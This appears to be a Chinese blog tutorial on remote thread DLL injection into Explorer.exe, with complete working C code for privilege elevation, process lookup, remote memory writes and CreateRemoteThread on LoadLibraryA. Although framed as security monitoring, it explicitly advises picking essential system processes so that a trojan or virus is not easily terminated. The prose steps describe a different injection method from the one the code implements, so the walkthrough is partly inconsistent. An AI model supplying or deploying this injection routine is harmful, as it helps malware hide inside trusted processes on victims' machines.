我们进行系统级别的安全监控的时候,防范木马的时候,经常需要进行远程代码注入执行。
执行步骤如下
1. 提升进程权限,如果权限不够的话,很容易造成 OpenProcess 失败;
2. 确定你的宿主进程,即你所要注入代码的进程,这个其实很好办,你要是不想你的木马或者病毒被别个一下子就结束了的话,
最好是选择系统要想运行,则必须开启的那种进程,比如资源管理器进程 Explorer.exe,
Windows 子系统进程 csrss.exe 等等,但是这里注意的是,我注入 System 进程的时候造成了失败哦,
所以最好还是别拿 System 做实验,而且如果你注入失败了的话,是会造成宿主进程崩溃的,
等下一不小心把 System 进程给弄崩溃了就不好了;
3. 打开宿主进程了(我这里打开的是 Explorer.exe 进程),思路是首先变量当前系统下运行的所有的进程,
然后遍历获取到得所有的进程的 PID,再调用 ProcessIsExplorer 函数来判断这个进程是否为 Explorer.exe 进程,
如果是则记录下这个进程的 PID 就可以了,这样就获得了 Explorer.exe 进程的 PID 了,
再通过 OpenProcess 来打开这个 Explorer.exe 进程就 OK 了;
4. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要创建的远程线程的线程处理例程的,
这里需要注意的是:我们分配的内存必须标记必须带有 EXECUTE,因为分配的这块内存是用来存放线程处理例程的,
而线程处理例程必须得执行,所以必须得带有 EXECUTE 标记,而至于 WRITE 标记的话,很明显是需要的,
因为我们在后面的代码中还必须调用 WriteProcessMemory 来将线程处理例程写入到这块内存中,自然其必须可写;
5. 将远程线程处理例程写入到 4 中在宿主进程中所分配的内存中,这个可以直接调用 WriteProcessMemory 来实现;
6. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要传递给远程线程线程处理例程的参数,
从下面的结构体中可以看出,其由三个参数组成,第一个参数代表要在对话框中显示的内容,
第二个参数代表要在对话框中显示的标题,第三个参数则是 MessageBox 这个 API 的地址,
因为在 Explorer.exe 中 MessageBox 的地址会发生重定向,所以需要将其地址通过参数传递给线程处理例程;
7. 将参数写入到 6 中在宿主进程中所分配的内存中,同样是调用 WriteProcessMemory 来完成;
8. 调用 CreateRemoteThread 在 Explorer.exe(宿主进程)中创建远程线程;
注意,当远程线程没有执行完时,不能够通过 VirtualFreeEx 来将远程进程中的内存释放掉,
你想啊,我他妈的线程都还在 Explorer.exe 里面执行,你他妈的在外面把我占的内存给释放掉了,我还执行个屁啊 !
所以这里调用了 WaitForSingleObject 来等待这个远程线程执行完毕,
其执行完毕后再释放在 Explorer.exe 中所分配的存储空间 !
请见代码实现与注释讲解
/* 头文件 */ #include <windows.h> #include <Tlhelp32.h> /************************************* * BOOL EnablePrivilege (PCSTR name) * 功能 提升本权限 * * 参数 PCSTR name 所需的权限 * 返回是否成功 **************************************/ DWORD EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; //设置结构 TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; // 查找权限值 LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); // 打开本进程Token OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); // 提权 AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); // 返回值,错误信息,如果操作成功,则应为ERROR_SUCCESS,为O rv = GetLastError(); // 关闭Token CloseHandle (hToken); return rv; } /************************************* * BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName) * 功能 通过创建远程线程给其他进程加载Dll * * 参数 DWORD dwProcessId 目标进程PID * LPTSTR lpszLibName Dll的路径 * 返回是否成功 **************************************/ BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName) { BOOL bResult = FALSE; HANDLE hProcess = NULL; HANDLE hThread = NULL; PSTR pszLibFileRemote = NULL; DWORD cch; PTHREAD_START_ROUTINE pfnThreadRtn; __try { // 获得想要注入代码的进程的句柄. hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId ); if (hProcess == NULL) __leave; // 计算DLL路径名需要的字节数. cch = 1 + lstrlen(lpszLibName); // 在远程线程中为路径名分配空间. pszLibFileRemote = (PSTR)VirtualAllocEx( hProcess, NULL, cch, MEM_COMMIT, PAGE_READWRITE ); if (pszLibFileRemote == NULL) __leave; // 将DLL的路径名复制到远程进程的内存空间. if (!WriteProcessMemory( hProcess, (PVOID)pszLibFileRemote, (PVOID)lpszLibName, cch, NULL)) __leave; // 获得LoadLibraryA在Kernel32.dll中的真正地址. pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(TEXT("Kernel32")), TEXT("LoadLibraryA")); if (pfnThreadRtn == NULL) __leave; // 创建远程线程,并通过远程线程调用用户的DLL文件. hThread = CreateRemoteThread( hProcess, NULL, 0, pfnThreadRtn, (PVOID)pszLibFileRemote, 0, NULL ); if (hThread == NULL) __leave; // 等待远程线程终止. WaitForSingleObject(hThread, INFINITE); bResult = TRUE; } __finally { // 关闭句柄. if (pszLibFileRemote != NULL) VirtualFreeEx(hProcess, (PVOID)pszLibFileRemote, 0, MEM_RELEASE); if (hThread != NULL) CloseHandle(hThread); if (hProcess != NULL) CloseHandle(hProcess); } return bResult; } /************************************* * BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID) * 功能 通过进程名获取进程PID * * 参数 LPSTR szProcessName 进程名 * LPDWORD lpPID 指向保存PID的变量 * 返回是否成功 **************************************/ BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID) { // 变量及初始化 STARTUPINFO st; PROCESS_INFORMATION pi; PROCESSENTRY32 ps; HANDLE hSnapshot; ZeroMemory(&st, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); st.cb = sizeof(STARTUPINFO); ZeroMemory(&ps,sizeof(PROCESSENTRY32)); ps.dwSize = sizeof(PROCESSENTRY32); // 遍历进程 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) { return FALSE; } if(!Process32First(hSnapshot,&ps)) { return FALSE; } do { // 比较进程名 if(lstrcmpi(ps.szExeFile,"explorer.exe")==0) { // 找到了 *lpPID = ps.th32ProcessID; CloseHandle(hSnapshot); return TRUE; } } while(Process32Next(hSnapshot,&ps)); // 没有找到 CloseHandle(hSnapshot); return FALSE; } /************************************* * int WinMain( * HINSTANCE hInstance, * HINSTANCE hPrevInstance, * LPSTR lpCmdLine, * int nCmdShow * ) **************************************/ int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { DWORD dwPID; // 提权,获取SE_DEBUG_NAME权限, // 可以在其他进程的内存空间中写入、创建线程 if(0!=EnablePrivilege (SE_DEBUG_NAME)) return 0; // 获取目录进程的PID if(!GetProcessIdByName("explorer.exe",&dwPID)) return 0; // 通过创建远程线程加载DLL // 将msg.dll放置在系统目录下 if(!LoadRometeDll(dwPID,"msg.dll")) return 0; return 1; }